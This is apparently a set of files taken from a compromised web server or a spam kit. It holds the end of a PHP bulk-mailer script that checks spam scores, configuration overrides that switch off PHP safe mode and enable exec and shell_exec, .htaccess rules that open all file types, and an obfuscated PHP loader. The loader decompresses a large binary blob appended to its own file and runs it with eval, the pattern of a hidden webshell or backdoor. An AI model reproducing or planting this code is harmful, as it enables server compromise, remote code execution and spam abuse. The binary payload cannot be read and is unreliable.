    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$cOqi='ex'.'it';$zULb='gzuncomp'.'ress';$oRrB='fi'.'le'.'_g'.'et'.'_cont'.'ents';$EJYL='su'.'bstr';$tBHQ='st'.'r'.'_r'.'eplace';eval($zULb($tBHQ('zwlordsmbq','>',$tBHQ('nbjtuwfvez','<',$EJYL($oRrB( __FILE__ ),-217293)))));$cOqi(0);
?>
xt]WőVV_CH0fpN0J{0EK-kG
1yqZ
_]W|/M_uZy׿_7GUz\~eo}}Lz|6|__}?Yzwlordsmbq?Oy?AҐI!&	٠Onbjtuwfvez-O@ֆ9-
n&|9sq}O
q\/
THPǙfH
OTnbjtuwfvez@ynڣ]G]JȰ2޳A?WVv8J
Ւa_҂zbnH٪Dzwlordsmbq
MVd6LO%勧,%,)4g\HKiMd*a?v-nbjtuwfvezGN^-Ɉhdh_y{5]nڟqYQ",~4S7ig
~VwKF;GbId)f!9I?U~ͪvCTf
X?N2UǘX{kQ^Yx^[=CZLMܺĭTfnbU
3:ׇ]\ʛnbjtuwfvez\v]TrS֬.w*&"ܽ\o9N6E~U|uH*lMg;&ƾ`WeewzwlordsmbqYݼ^1apϥ"GLg}Tܬ"BBd{]fB
Cd0ތ+zwlordsmbqüN''ĐTOM9r$.KQ߳ԍ2ք`ޭ-uo%|&~	[hKi
GiLK%$#~^2q0SƲ&V|Mnbjtuwfvez),dE[.A	ِAoL濋DD󻱗6[s)_%3a_.tH}ўCs?ىe,e-wQVx떎MTxHPլ|SgީnQZ?eq#	%73wɱ㧒yN$=7)hd|)QǖH+yd!D/'KYFjӷ܀ʝ8ݰ~G`Wuعغ C!	ԓ$R=bj+.׻AX4pÜ|^ˊ
MF])J; qy)#^OUUʎ'uڠ{ir* .JYx8SnbjtuwfvezSIc-
@'vˬY\/C[H`ơ?:6mt*,{%'bv]L__?mC1Isw=_Ypg	k?%TmN0zcH$iMmTryP&nAgw璷nbjtuwfvezh
M!C&}6zwlordsmbq 1ЈJEHf8z$H
kQImG:7+,{Le*.k*cwbP?Q"[ۥ{YLEi[iDl5'AS-Qnbjtuwfvez{c]
d%)Czwlordsmbq;4A{W@ev|&PŕFޟf"0^#bU(Y.ÄB_YaOFԡZ8jZڰN̕Nǌ!֫i\q q*@ɡӑ7cqzwlordsmbq29a|q)7Yis:k-T'i&YKUyf
g"dCѥz'D);x9Ȯq-Ոs%5OHKA,&aаlWzwlordsmbq_P'os-Ī$ta;LRzwlordsmbq.;y
j|}cX.ar1mE׹l"&Ig+^s#|s1!dP\Y=YMQuoI-8M@̆5Nxl4pR6Ļ%%Å%+9nbjtuwfvez1͌/+J/Z	ILJNOՀ-ff;oFs|zwlordsmbqS[	6H"拢zZ̔i=p]ҙqCwWK	-121i^䔇=eKJ O3	_51#̩zwlordsmbq~P/%KddLLԧh5
rk.r$
8L[3hN]S)/aPd%PaZJ,l%C!3QsS-= /Cli\31mX)عiT77`\_s$dϠwY$"د"j8	P1h0Uxl[`L1q`~S'/ܾ	c!㥸HذPD,{$rP;Hlx /0#eGLl̨lUj5oFYT(8C{'	joحW0%2gٗ(;UQ|?&|"oN[;ƓhB3K|4o1lF3';rh+؀(჎~D~Z X)YE
~澞eغͩ\PڭwvÀFRBp.&Mq;ڐy:ki]~zVHRr$wKnPXօ_x'Ƃ|Nl]KQ!pjQX_-#{Pu_(_p8"6pA9Yج
Mv&5vsO""jQ[%j%\tvWf?\'&}v{`zwlordsmbqmd(lZ!xc 9_	 T?BοYgUķƇ1ڴbm,- d[5{^ߥaWV|0qm2S'|o)wт,[$:,NqjAW&Y8+WS 0-o3&d@~ynbjtuwfvezoV|U0n9b!G0NK:pRm9Y}r̛p68ܽpgXh@]J}dnbjtuwfvezVB|ט4I$ &!sTBr
5Q/Ğ {m$_R"~kȋJRU!G@Ox
7na33	B	g`Bt|XJy%b&.ĀN=ډ7Oy"͟7fzwlordsmbq9-`*ש=@Ťu߳|zwlordsmbq&8X@͸jfX8Wh@	u3eyAn
CXE-dAj.YHut|E$8UDG')JO\MPH3'ѣD;%kVoHU|Pnbjtuwfvezjm Q:&/Rmul6j:!+`nbjtuwfvezdݥ.`M;:
zӒwzwlordsmbq7=[N
yWjf-|wzwlordsmbq542nbjtuwfveze-(`hO1˭g3"8`2bO|Zr`H2FbQIN|x!:Azwlordsmbq2ͽ9F
JDO8洆=6|,dw`֣î4A0wfʘہnM4cEnbjtuwfvez8V}VG%i`G/dn_*'Msb}oҨ"-b^[qY^Ozwlordsmbq?9 IOH^eW8FH˱vvQ!nbjtuwfvez5S(
ʁ_X4hҲHaV_/2v-MJEh`|Z|Id&r 
'-HPN̥!h3Ճ3Dw=-5sg)dnm	мrqiT%qt~~:N)U젗nП[zwlordsmbqr!	kS`l//Du;'Told*Vu10NڶJOg	 {rSqg003A*`ؒS]~[axwބ9 ?
=$Ŧ-c#)c.EVn%|NO+ӵho="Jy	a\F|vRQTN
 e35RBVӬvk0+
rsc~ܥB'&~3 JяU%Ԙw5G[}nZS=rICan3Ͱ%wc=4,wǮZfWpFtńA|Kt♏GW+	_i9i"g:2ixAXl7k~hz e	#9g	A5nbjtuwfvez.:zwlordsmbqUG1qCd!Z!WbYN+nbjtuwfvezf%
TLNߐiY
Zl9}Jʦ*zwlordsmbq#AWϪ:{tPrGv|F1GHz0Qk{p|
(Hk"ՃS)&ԃxp5 ~GϜ ˉ`}@A
aaТnbjtuwfvezx]B
]λVS]+A愷?wZ6zwlordsmbqR8vUvڷ^.0%~4+++_#?8#zwlordsmbqlJ ZU=M[s6n@.C^p|R:|-_bp*MX77cs|ZuI}nZ;ޭr*F3ry\yv-#d/[Q4|WCʐJ.x Na#/#[׎&MBna\r
H($xnܗ`:ŬC1x7AΣâp R"rx~m5nbX	_
VF0t6rߕ׎Cҕ_	oK!5䔉@?ܟXkG#x/vBGrbL#ڃnbjtuwfvezzwlordsmbqpTI0٥3dRr,7rɃǛ޽-̆9Ǘ8Vo_
}/G4*Kr_Dt|/Ҽf"k6bBCf SgB|/Iޡ{e"yP
T^8ґzpeʜ;{g^d6#{
!X,b
d专zwlordsmbqtowU`nG+lHACߝ8$"nŨ_ynbjtuwfvez)JA?LLP{I`2;Y,rˁ\C`ŕOsQ2z߽ {Ņ|\znbjtuwfvezN$&:+О殃9Q*
3fr)`-eT/tz9%c^gKkC;hlt⶞=0VNdU*9,5c@vϟԭ4D&wuO'g)ƜLfE*`mr!gdimjH׬qHwMr3Y5=!|&!_]4Iô՝Ζ3S}J [Am:\&H#]s_6 Dt_{7g~іd @!7輨*aSg|9P96Ft{í{gfVTJKy'xA Yqqw?E#I{,zoo
)KY~M;Hykqh	q|VaLAȇ_M~zio \p=xV?PJ[X4Fnk"8t`:ⴽJ;1zwlordsmbqzzƉ@,xCrط%
2z$
yc9MW:2o)|rzzwlordsmbqO9N,Pnbjtuwfvezti%F_Xo[C"A6v!K %s@M|!zwlordsmbq`#uTT{ۭG1ܫT1*Fdwjj=c-::oףXx{ӂ*%i7=a[.bfP/	?w5E`*,JַwL9	rlZAqE:2Vj{}ɈVoj'ǳ	UIzkdٲP`VnjDaMoH˭	Jyy]6b;L05j-`U=܏2@z.ߟV9FCތ)-7賀瀶u/G*O5f[ָ}q_潉.X*n"
ȭgk(Aq.!Ԗϳ.~@$O[vkgpSf%;S3T۟;m'.do"kn[lڗOSsP$l. FAvx:dhɫ2#=Nzwlordsmbq%%MJ`,sNƣ]Iunbjtuwfvez?6dvzwlordsmbqc|]4ҊlߒjeA -Y\CT]bgnbjtuwfvez5Bx]r?`N2\򚓠^/nHzwlordsmbq|̓ii'C`7Mdogit 'w'GڸP/iāE?;wq"x+H |'FLuH=`nbjtuwfvez7(e.9'amiM^0
g4YoĈ .skZ̭ϧdm{'*Bnbjtuwfvezfj;r1NG&G/OF&zwlordsmbqu|OY;"c_NzM3Mc.|kMa.||nbjtuwfvez'VkWya'7%UZcB?Xzwlordsmbq]ifvQ=Ց'W*za?/̚!6
g)nbjtuwfveziתփnbjtuwfvez3[L|ˢ̨˪WWF`߄Rraʍ;]Rxsݿ=K.TRqH	.yx?4̇f;U|SP'oP`@iX
LZ{Ǽ~ 4ޓd$O86d4Ce-߿once[nbjtuwfvez4[煵d.};U kM2]r1
otL!ӽjk}H5*LqTxV'[jC!{1I]ف9s;] Gi`˯Q=`s*tcǕ&e%v⤘| nbjtuwfvez X)ֻ$0wώb1DxʇWʝ)zQ+&vW3&kk)Пԇ
Y@~+_*{1Wל#U+?^x4f\s9B-ۄi @}% Yctu=Snbjtuwfvez͋vZ+E/3&Z"|pIq\*pnbjtuwfvezmсy{i;/D༅4jUǦ*BS*8r̬pU+&6|X짹^;9ǚ@d| ,ǐ;f]^}Kæw3%.=;J%1R+9	MD ,S˖W{!\r8mekVp&o52O ?ax.jyO?8NԠ9e8.U;.c_Jue 6${zծUk,$Y/GAVZ@~ͻ4m[J5O
HJ,z^ȃy焣tػDƇ|b"yׁKV6H:XP1
M*8%0S,e"A{yj	}ʊ#$6w0w$mP=9fW Ne'@#4rAw\I^&Dt8OF*
]GD-˧̶u5C]bZn/[i/7jq_UBR\F/$OPWeq/zlje7{zwlordsmbqf)mme3ebUjAdmi?bsW+07jg3M.BMl7)+%dKq`
j=3fC~*T|_;g$xMjvf 	pgv	9zwlordsmbqsN¹Kkۺg:4wWngȓ?׈sRq\&nַg?ƀzPF+aeej 6A[	^K&4@w	X0pIGk~ғzwlordsmbql7G^X_QR3L(Zz
TzXjZOUOoǧrUJ)dM
:8jƜK
GPzTG	
MBL̨Þ%]
zwlordsmbq5nbjtuwfvez-H$p΃p@Z!8Z.rzwlordsmbq*Yˇs܁-
m
P SNyvinbjtuwfvez,")n8ˢM*'^u߯oMmçp|Ty(@ڞxOЈ)J3Bn/Rhu`wj9'N$8ΎH)$n2,ҖCfQ.(03vlnbjtuwfvez[db7Ǻ}u树is|_L wWG-UluItGW:U[E nL#h~{V͓޳rN+QIŲrLa[Gqĵ	-8d53-2kYʄg;xzG~c:Ğnbjtuwfvez6t'ȬYٶ+r$GKWdF		Y۔.wCȨ!/0k\H}Dc?P áP
;	iwއĹpā
?`wY^9&P@Y28SxP_]ň0:|lWfBm_7/G]_*HPs?'خ0-"~n/¯DZlz`GĿDıL-Qj8͉C֮=sрzwlordsmbqB=O w8%۠o3ޒ}BzI0u=bC%x	܈eVYiA:\.1nbjtuwfvezޮ"2,w.{pjWmOnbjtuwfvezmeA(@K5.ġg'I,aV?P5V=r[KT0g;],4lqZ5"KTNv'uD Q)Cu&~L%
/zwlordsmbq
zwlordsmbq6nbjtuwfvezv
dB 0gU(F{R2D&V蹶^NjMVwGH|ǰ$RĿoĔ5!Eݿ@N	`uz'S_WʙS܆)8K;~kܿ( .ZzÖr?(F@,!,l+03;d"=Q{^Tz&Pt-le[e6Xv:ԽXMnIQ:i[d؈W?ifnI)}n
ۭ߯F4εˣ	n-ݓZ=غt9{M+[|ahB	A)VBs)_)QTJ]f /Hؠy;^/ԩh5%u,Zd'	g.0E;gGyS˹0 10Q#5W_t[hCAf[$'2r]7

dlV8O
߽.A&ЭH̝ZY;͝8 \㾄$yvtRzYI?k]lJ/U+,x4+nbjtuwfvez;;+~ExVk3=0d{zwlordsmbqiHfvôw=	qߋPy5kH"iᒫv+l5@Bgk|0pEanuSdzwlordsmbq]R	s+
*?(D{Hq:jk=~r\q|9zwlordsmbq]Xhi؃L5yOīgG~QcF^ k/K.~{+nbjtuwfvez F4wbS_wTmeCMɌ
H
x-zpnbjtuwfvez1ɚr]FnbjtuwfvezPށվi;w-"ʬUb0bFzwlordsmbq99e50~yMnbjtuwfvez	~ߤ:;$eؿR	(0FMT~H9dZM@!#eGd^3SUCGg12%ezø1]eY0FL1u	TmkWbNL9"lo
]&驖d8`ЮU6iJ*4s^ZA==HЗQsguV@b(xy.R2xw	ã.]N-U}[z]z~9NG_sk}D}-QPkq@S[[nĭF|o)GjJY xebх9\?޹
B^P﹣yMG/A?J.ۭR!Yڞ,ת^*Of
ݶ:|+:|௮d_n+	K,1zwlordsmbq۞ʹ@{/K~C.Ora9ߛ~$Z,(wBξk@N`@ZВIAؓv"ۉskSิ]!VU^xrLQ^3"|oԜSuq?X:i+kbhTĂܟs }I=Trl_.,@g{7|`PݱV{/S(Ǭ2x=hWb%G}v
la`|[W#v/N||)?dIAj[M7ð86Vۖ="R ӸciUʍAL׹=۔iw
9stH)ƯEy&TaѾFj' c$xlciƚQLDϓWpWEp3ej)5]nbjtuwfvez5
{
%fH{tJEH[\1yhnbjtuwfvezy0|,]!R	L؋rA%*&g_2ew}S»U'MnbjtuwfvezM+Ӡskzwlordsmbq!o[y18_hQD{'ҷVb\d¬U@ #u*z 3DAzwlordsmbqDa8
!َD?6Q\~~5knTm_hYa*m(/kvYwHi%5zwlordsmbq89~(mqd [QzrzwlordsmbqTKL~#8#м=y6WScnbjtuwfvezon@a#H;uK$Mz&U~̊?ж1$)wOFә{OOf=0GyC/mn70Nw×7c!Q&[֫"qG'Pl2h;iIovz!\BָXQn@O0,y	ԙ˖`oJwTQTZWd0h_gZO\/[@?SCITxґC|=;
yFECTuޙ_]bQLTpGX?\0bTdv.5U2#jo儦Y+d|.x@Ο:Sm#4|=֌)5+1Ou~n|g]V2d==dyɦ2błg7]痄̜z}c
+[U|
yk=dw1ܢ,o͜0%g3,]&QZ^1Y xS+Ay
6V$pĚv9C2%zԘf}:}r^dnbjtuwfvezVۗ8smlq."	9,;fC\+48$d`B7%&"eߞu^| B_SJRZ~MnVk.4tW\A~TynbjtuwfvezۼW鼭?\.D7pbd}/,4! ߙ1G}(n3=Vp-on87[
ǻ4bHP$H!o
^_i9)S8]bJٮknbjtuwfvezTܔ O-F(~+/.4߮+irUC"[nbjtuwfvez|=U*,f`LCnl-|S sdh31*STNVXmD:'ʁ0^227SKW=jͻT8i,!'P˺ǻI]P{e򀟶^e6M!^Y;~ޒkl57c`_L-1ܚ0G *lL&oW0sBr`4 Ŷ _[Pւezwlordsmbqo-֩.ܮX!I,Ӕ6V$CXw^\x߉Twͩ-nk I(y5vC5nbjtuwfvezHDGbiQy0}3U
s72@(D󄎈HȲ/yS-@
݌X?jȭeMRnM$^pf!XgLFޠ'2]7V #׌Шg}s!`8v!g[xϐwOyUK,0dF
;lC&{F
g܎I89ݠnbjtuwfvezP]ٵE[KЫ=zXZ+y&}~ۑp19',^s̆"
j4*T%x~q:bDԣNgPgnYOЗKCM,sӘxQD5m\8aBͥ6nbjtuwfvezRH5;2L)
TnA_|Q.NeQsQ%Ɋc!@$aF
(nbjtuwfveza|_B'Џ̇'Ȫw?A=ȳ*)!+6$$cMK	6[}R#n`nbjtuwfvezckkYL}O+8`%o Gm\Njynbjtuwfvezt~Wa*+y,0v-K0_sQA&tlT2`!7cRhN-M!@xnbjtuwfvezp~p1YsՑbV(oeZ#U1%rD㠲H{]	"7uq{q#:~uk&ɑLzlx_y_ǃpHK}xQ}j{r+S!"K4pzwlordsmbqy=ZV%EKKQ!6{iXĭ.aY@iVrv.S;Hwٳu*/Vȩ^Cc:BD2eWYih(ďdcs9 n{U(@Հ[:GDȝ%:zk	fduM:C	K	23㭠6=HTxw`m66!}eW핆wl%zwlordsmbqhΑE|wըR1^%Ѕ[sPn=)WgM㞍:ZdBȵ~i5j|}oAwCo;V2;^rzm]b?nbjtuwfvez_62r*CrzwlordsmbqNr~ֺG,FSA}
|.͘^KVdnVBTeТ}C=֚HW]" Z3!]$/9Lc,%%~lG}
ǭ0gx:^T+d_10f
j{.Y,q:zll,*K,k嫂kiS G4vxzwlordsmbqO9IɄ~nRKmcgSǥE^M[O=K\,4m?
KmztHz%Q}eymg/.P.龐Ĥ͗sV!0Plz&0zwlordsmbqc6̝z	!=TOIIRFAg&%- ۝7zwlordsmbqm]..t2:JȊ`")q`+ՋpTn"Rauf4\!nbjtuwfvez04tm8 2m0z"nʼMqMl
fgKځtej50f͝8$)*^yuG;0/}gc{7T @^o'"V[zwlordsmbq.[}˷ښP1[z~''֏{`HAi8?RA\U![XW
St8#!Q
2GFNl]Ƣzhi:m"h1u;tʪW@
v)'g@2Yaz5}qpu69G۞9W
/++nBE-iK-GBF x20nb k~8
e=jkڞ.&x)jFǓ/*W̩ڹ0_Ķ	FҴȢM!nbjtuwfvez[u`
͗g9xa\i'QNM	;	Fe%=Q1Y1.]!E?l$͗ڪZVemMڇ,l}YnbjtuwfvezRzwlordsmbqaةN:
ٙV	3P.t-!S"ŎK,$-_xk)r1N=GؚuF&}{ qא2З1.E|Mx\٢_^qxy[LrpGzͶ8t%xIW&zwlordsmbq݇Ly,LE;2KF/EmtuEbç"3K~{*O 1[;~$zwlordsmbqY ǘՃd+0CﴵoSP"홊d'BlZVHu?^ضwiA͌CϚɯ
|P+b:-.%B_+P;nK{a.jaN	Q1cDc\[
o:nbjtuwfvezgjwJeDa@7 O'\ٍSJ^Պ4hi~u8zwlordsmbqNO+O5	e+_^xYĔiMLPetmjW? ̫'2˄Lɚ'q^_c"n{Vށ\E}!n҈^ X/%Ŕxrfb4↠'7TxY.ɚ󏿄fmԆBؐUn\ tئ۸1$96l(m~{R"N )F)`E;qd@&||Éc
,ੁSOv;*!ᏚSՙ"/Џzwlordsmbq@ى !C]hOT5XU2Zځy1%ƀCcbgmρ(Te2|EصzwlordsmbqdI2m	o|1iKz9d&zwlordsmbq91J0Jɩȍv
rbDh!/[O巷8zwlordsmbq)3#~{wwp^E0^J'QKٸ?݈lۏ*7&0Kt{"}7}52v%iH:91&Y+W͛2map O_+!VXڞ{BZ;!%m~-481tLn=8*94(zwlordsmbqtEbhcmۈ(~dOrT
֓o
'&HGyQr'@Ns,*nbjtuwfvezzhlۈKʇpBלyYU9+:]$
nbjtuwfvez[P=;{\zIZKh !W4C=б^s@\&:ZzwlordsmbqS\DzQk`w|W|2֑[Źe[˜,zX&o;cTs_	nbjtuwfvez'Cnbjtuwfvezczwlordsmbq/]ޑ"gq6YMc1hd[$j7:d0ׂےϒ`]Y=å~Ӿq/bZ吒EtWJy֢}|PGƼ??g
y޳1o.rg5JQM?e:1,$	۞C0bmq^Z-0R^m7k&}rWG$؇.3rL
:bҾK#ўzd{D0R5`rHdcY+ľ=Y	Wq7b{xq6|K7GjXg;zwlordsmbq	DKUG?ϚWe+Hi8'h["	~zwlordsmbq+_ѳ
g]0*Ia6UJH)t
-	$&**zwlordsmbq 	šZ2G-Blg+l:wU!N7.jk\w@@biө:@~K[s*prAS M
6m$g]	M\"ƩHᾬ/`o =B&r܁7roH*mOo78lcL	Ȗ(P^dݟF"zwlordsmbq@w9Ƙ^0&ä̒rr }|"qo#\*89XMHHң BkY
jc%ߧJ	vq۞yEEA7G77sL׸
+: v5Vg\)vTs֖oMiY!ު7zwlordsmbqPr[{zwlordsmbqπ5u 8Y8kI|m?ii{YHEҷZ¥G(x6h
zwlordsmbq۞xrd[̎K~֤Q3ΞË@zXUlEeiVsUӜC|۠n
s	n*nbjtuwfvezRe/67ƫ@ceAJab~qX޺Ȭ*rU/`ߕXVXPlϠlJr5f|)HJ[S$H3vB_nbjtuwfvezq~ϴbxzwlordsmbqLz'w=Xv'GrirS[1u-϶GV?_Z޶}j3bwAɽraf:=y3G*j%{|15zwlordsmbqٕEᴲȓ"JHw,
i~;ۺ[Ime6@ؾ;~+5YB'nݣo`Wn쓵$q+߀7ܢuij#TXǀN|Kʎwڙ {t)y&=Ĭ	NHgwDڶ,2ϭxMx*
p|9C;7f 3bԄOy;":uzLSm]_Z	8%ژ?Rz*+m/͠d4'	2ivl+.]Iqͨnbjtuwfvez2GVgLW
C2Ƀ'gb&ܽW-ȡyYթC}q;zwlordsmbqS,m
zh^%¹I\MbαH+4s!9j|{JvYc9)ý=!pnU,ޗ"V썋:anP0j]{8vGBZC
5j6\*x@ujq[jN:j5stp7G" AZC݉?pKXG@-mH)J:m]_ ol?)ٔ@!
 &|t E{r\0袍
{7|ԄkdT=ΘyC|\	cFGg v覶z;?^90)'#-LwK1%nbjtuwfvez߿2ȻV3GE$vsdowc-SV{MvW
ZnbjtuwfvezG@&,˭̩O fp?حC)ɀj0y83g7s7]"PK"Pv-6{v|,tZʺOM{0n.0$;$M𷙽XХUd%BzrQe#fjZdU;G_Cs)EkBٱ̭{m8
Y]xzh#"]CYOfڐDG;|e{8ZR9Ķ/?/B ڵSF(B54Q[
frcPep϶~6O+F0U)JvCM;q*lF=Pm
vvԘQ$LXiYmynbjtuwfvezmO̞
w2_{)	nbjtuwfvezQnJ`cҺPnΧ7T?7AuufSH'+9L::ăW#ݫV?+nbjtuwfvezt-!nW?;'ٮ{\{3ǳ*anA0׎wn8N ཛIMF&4@K!tp2Ysc[9ɘ7zwlordsmbqxg~3LML=LKcZ/kSۺk"s
;wmy:LȒ
Eq{
@]6gaEmgn&.	iҢ)k:m;`\j~Li&5/zI.&3-3asNZlCsЯ(A3*]ǬgRCVR1mVzZ`1L1dؗ0_n1.Z@eOv	5zwlordsmbqA/_eӳf8rzp&5#x
TBXj`"9N9.obʶzx%WbE6%8^[J!ϻ͒C۵A^+jXZzwlordsmbql|/@N2H1]9]غ	pf0oaUz#fIDɂ9
{M
5y@_^$rĭ,;mAW _9'n/9nbjtuwfvezm/E%ٝܗIṬ`ّHϕE0v?3!9[,rb[:uO6~sQ-K%M"ANֶN=+{{ʣN*R2j|ri%:zwlordsmbqse]~R?X1=s|gzwlordsmbqitT%0uW[$O-'rWJ|TW"nbjtuwfvez[`Vl
uHl
ӟYWw Z*Pt/mStBprUx^i?T`w+Y?ؠۻnbjtuwfvez*3#GSFnbjtuwfvez⶟Făv}x+|m/dUiSIloXˡgDd4TƸGGcϗ*pZe/
u47SM${1].c&9ajzMb|FӋ_ɃMeKI_Ħv"tPm7Lڊo^7Nwiq$us""Lv}i@T,W$+ &?[1
(0*!1ٝC\gxh*lZpٺ.d]b-M@\Ua"k`yr{_9ls4 G9dO~	{e)
!0J}
g'oQEGf{Ȕ)7z׬Nas1ەM;KUϺܦvOpŀ *".t
eE/Si'noYD*bp}3{ڻP=GT{M/lĔq gF$y*@	hpO^z)MR'0ah{{=Kzwlordsmbq	ârK%m!D
;/"՟X# R4}aZc[/eOCzثjmJ7ڛmJtp*I
$fC=Ot)=Ov|p	FC}ζݨ#qNqeDKmbcV
wѻzwlordsmbqI"}^qu
ۮ_1⪶ L+	'\@zwlordsmbqn%IM9WS%P2nbjtuwfvezedzzS	r嵍`]"݄\ /%ɑkz wyLt;Vzwlordsmbq϶dmzwlordsmbq=u	{Gll_6C3jtrD	{s`@ayɹ6Uzwlordsmbqd_ C#b-_lw胲)$F}l8t2gMt۞fL҃~?eIAMϵ|ٶ:Mar#8VW,{^Kf͓ꁑ-3ǻWm_ƈU
۸	LIC]na.&w,#RU2)-	jmn4Rjz%-t{vw4Q巐;!
lM7cW8VNULLg!J%,h	wv_wƣr72]5UunbjtuwfvezՃ2[اg#Y]_SnmR)'ew.D&3D6,^WI^@gUE20[1Q#;@[#Ȇ|LSꞁ%_3ct{_?j´snbnbjtuwfvez#XM_	dRD\G-_x~:;Mnbjtuwfvezg	ފOsGd7x'=-W*m2{"	iN {GO6h3g{)ɮ{Ӿ:tKຐ{EdgǤL}ֈ-vVhBqD@kًEE7
^R?Vrؿ޹H?a[O0gcOȠWzwlordsmbqyW(رf|sdzwlordsmbqNd
"V7VUmT	2̱*mVډ4P/,wСM+Kpf=._,+-oГAlq stzwlordsmbqO5GIKIw΁tjoe}
LDw!kü2޸ʩePu S_uU~ᩙw!l+@Eb{7AAމdF9GbA

=6ǺD7RRpnbjtuwfvez]gh{/϶϶\ge}YJzwlordsmbqx嗀rΉC!eK՛@x{;
`W5!;q5T8y8#UMe-i2՘sZ~R_O8طqŤ'kɝq9zwlordsmbq!S_'[zwlordsmbq	ӧnr0w\C"!A#,Ve~*Idyֶ1vBbZ󙆲.,z{ݫ v+b	s
_9m
f9hoAZuئODNwy9)_z Gf}"'N;fJnϿf{vlVȜA(r5`脽^x޷AB/|߻\57X4~{W&f֫O+=QrEpG nD
."ݙ_A;E`OV" m2Ŷ%#=l,ydhOaALa:Ђ}
 ڒ*j~/@CNVTyb[bq:5¿=]ݵ
fw,I_933ւlxހMmXB蝳zwlordsmbq&!o,jKHZלWҡO*,
e6V yoG;b[38zwlordsmbq
cQK
?Khenbjtuwfvez'_2ýG	̅kjcdwn=CSV8䷂+{Zn8# rIf-Iwh]OMVYbgC"|{Ge,x:g#5-Sna{y
%MᅊCl{':-0nbjtuwfvez%9S&,Z8fAYmk/m_N{WRQ5{?Ěl_Ê8JdZ빒7iJFQ	0/ڪPUYpH	i;
ٗha.KoKOjm"a_NWC%ֲ䀪:|m_ӑ
ҾEʚF"'M{{ܰNcWm{R'3ֶ$cnbjtuwfvez=qHȒ~F/ܲnbjtuwfvezĒJpC9"j;m8d_	/a oͨZV	v;?kd5Ăn[KÀjĉM8 /9w%nbjtuwfvez-h]
?.X\F7͂ޚu uDBwюsطEɮ -_U"s"׿*$\ڻCOն$K`í晀^ `~WBg
nbjtuwfvezQJi @r q^I%OCbhm݃Ey.{Ɔ?4Tn@Eqv}rcd"
w?Ŵ-ԙ{b&.^ƮmC.$hCip	7^yUm3
H_RfJUΗ%M{PyOo~$!'C+HQwoΪNr\@ٓY۞\SH"ZK6*ef
+[Kw+T%}Ӆ)sܖtU0*8[$̘dh~/rFLhO`M@6'=ar9}cX17d1}4PwM^^HzwlordsmbqʱnBu'G]Z#]4#]wj[[?`!ݤ;
M몏[zwlordsmbqR_MӸpnbjtuwfvezFV]l+?p숭m_|kDזڏ.~B=U.DTS~a{L ǾΜ Uom(Y4'F{Ag/_D,eozwlordsmbq/PD=櫗@Otv_XP=
ƨa۽~|ՎRP4~qxi1Ѷz@*THM9xǩFV2@N{g=~RQ菅qĺGsGk7x!SK%cH21?FX	dS0}1jp!WGk,BƸWAB^yfNnbjtuwfvez\+a=0FЁu2ռ22GaAT5#썲6TѰX4	})X@&0zXĐm4B	͔7*#( ;CiZ^JetW2Y@Dn{ B	vc] hlٞmO+nbjtuwfvezF)=RwK= C]z=Few\A#[#3QJ,u=C4-)e0gn۾/)LE\2\]행vgǔzvCF8nxVCrkD([X灵]ʈfV2@z{fpWo,"knH!h |{Rg{v^8AyT^Uy;ð^*DqA&5_T2D w;GȊ~-g2ۉ]~gU"t?&\:fNa:戼anf}FꩂYE)L;PO%O.ib!6Jx+
GimVLS@_dֶS.^&ˮ+MFh8m)7i(9-Q
2PP̶w Ep!C'2K0/ɶ}0ǺO,T"KC_:Ʒ-)_Nr"f%kemb;*`Cm&i2쓻P@g&qr^!
1g׃7QqpZ=FiUPKA}H~J	mO%j4.GoN;.Cd7r{o]R,IbpY{*ĳ*'',Za^)
Ct q
mVSzwlordsmbq`{JR2SJBzݮK
-,O'jY.arID$nbjtuwfvez9
Y'K.w1Ct}C¹5ߞ̯j1g/\8/Ȣtdք[I`^rm=qce#3L{rH{ 
i#udy[axTezwlordsmbq_k0zwlordsmbq9-6qec%@~m̝bnbjtuwfvez;$nbjtuwfvezh˶gP|$\҆dy%X0dxK	W [b zwlordsmbqgӳgҫc*Gj5s!Qs_K)1MUl\k֞Kځl)@s`=)bPuu鯊t
?h{6FE4-*{ #([\-;%][ 'QK;4mXb2~&=p\6q=۷/],
ncS'
	d=

zwlordsmbqMz_Y^3dF5P`O[pFf m:%6Z}זSn j)d{ϏZ wusCì,-lMCJ/Y
U%[2H%r8K:O#Isܞ_ThT8
yd&y[
}uzwlordsmbqdc.ar /]?j? *;
7=9PL̡7igFsQs3)y_9d3
8sÎjH
SE|4l:
n#ҳqǲu8Ip|ӎf{-VV#QP}vnx 2*lZqv+c"y{Y`C/4rQc1})DeQmhPƠTWR荸8,NA/A6.)	Hz](h6p-ykY0IB%߻grPZ!c*R9M@V+!=k
B߯1RΓ sǴ=׬0!c%3B&I6(`v'6Ef}nbjtuwfvezolM#so82EȜnA9m-na6wPY=Ρn96!ݮ]G˝8̙]@m/FA˥̑/P~+d+߉sӨ%LU
}|+89N0^tg;nbjtuwfvez-)?}bj|oHCnbjtuwfvezP?E C/A^;5y%Pv'Uy/
Izwlordsmbqnbjtuwfvez*8H"2ntIw1: 0n-̊nQ{RݘȐŖ
